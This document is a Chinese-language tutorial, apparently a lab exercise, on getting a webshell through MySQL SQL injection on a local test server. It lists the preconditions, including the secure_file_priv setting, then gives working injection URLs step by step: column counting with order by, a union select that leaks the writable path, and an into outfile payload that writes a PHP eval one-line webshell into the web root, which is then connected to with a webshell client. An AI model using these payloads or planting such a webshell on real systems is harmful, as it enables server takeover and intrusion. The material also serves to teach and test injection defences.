目标配置

服务器:Windows server 2003
搭建环境:PHPstudy 2016
PHP版本5.4.45
mysql版本:mysql5.5.29

GetShell条件

1、网站绝对路径
2、有写出文件权限
3、PHP.ini的magic_quotes_gpc为off
4、my.ini的secure_file_priv不为null

  1. SELECT @@GLOBAL.secure_file_priv
  2. SHOW VARIABLES LIKE "secure_file_priv"

into outfile

image.png
image.png

load_file(filename)

image.png

secure_file_priv功能

  • 其中当参数 secure_file_priv 为空时,对导入导出无限制
  • 当值为一个指定的目录时,只能向指定的目录导入导出
  • 当值被设置为NULL时,禁止导入导出功能
  • 版本小于mysql5.5.29不需要设置secure_file_priv也可以导出

image.png

利用过程

1、找到注入点

  1. http://192.168.1.12/vul/sqli/sqli_str.php?name=lili&submit=%E6%9F%A5%E8%AF%A2

2、使用order by语法查询可显示的字段

  1. http://192.168.1.12/vul/sqli/sqli_str.php?name=lili' order by 1,2 --&submit=%E6%9F%A5%E8%AF%A2
  2. http://192.168.1.12/vul/sqli/sqli_str.php?name=lili' order by 1,2,3 --&submit=%E6%9F%A5%E8%AF%A2

3、使用union语法查询secure_file_priv

  1. http://192.168.1.12/vul/sqli/sqli_str.php?name= 123 ' union select 1,(SELECT @@GLOBAL.secure_file_priv) -- &submit=%E6%9F%A5%E8%AF%A2
  2. your uid:1
  3. your email is: C:\phpStudy\WWW\backup\

得到可输出的路径:C:\phpStudy\WWW\backup\

4、使用into outfile语句写入一句话木马

  1. <?php eval(@$_POST['test'])?>
  2. http://192.168.1.12/vul/sqli/sqli_str.php?name= 123 ' union select "","<?php eval(@$_POST['test'])?>" into outfile 'C:/phpStudy/WWW/backup/test2.php' -- &submit=%E6%9F%A5%E8%AF%A2

写入成功
image.png
文件已存在
image.png

5、使用剑蚁连接一句话木马

image.png

WebShell

image.png

Getshell

image.png

资料链接: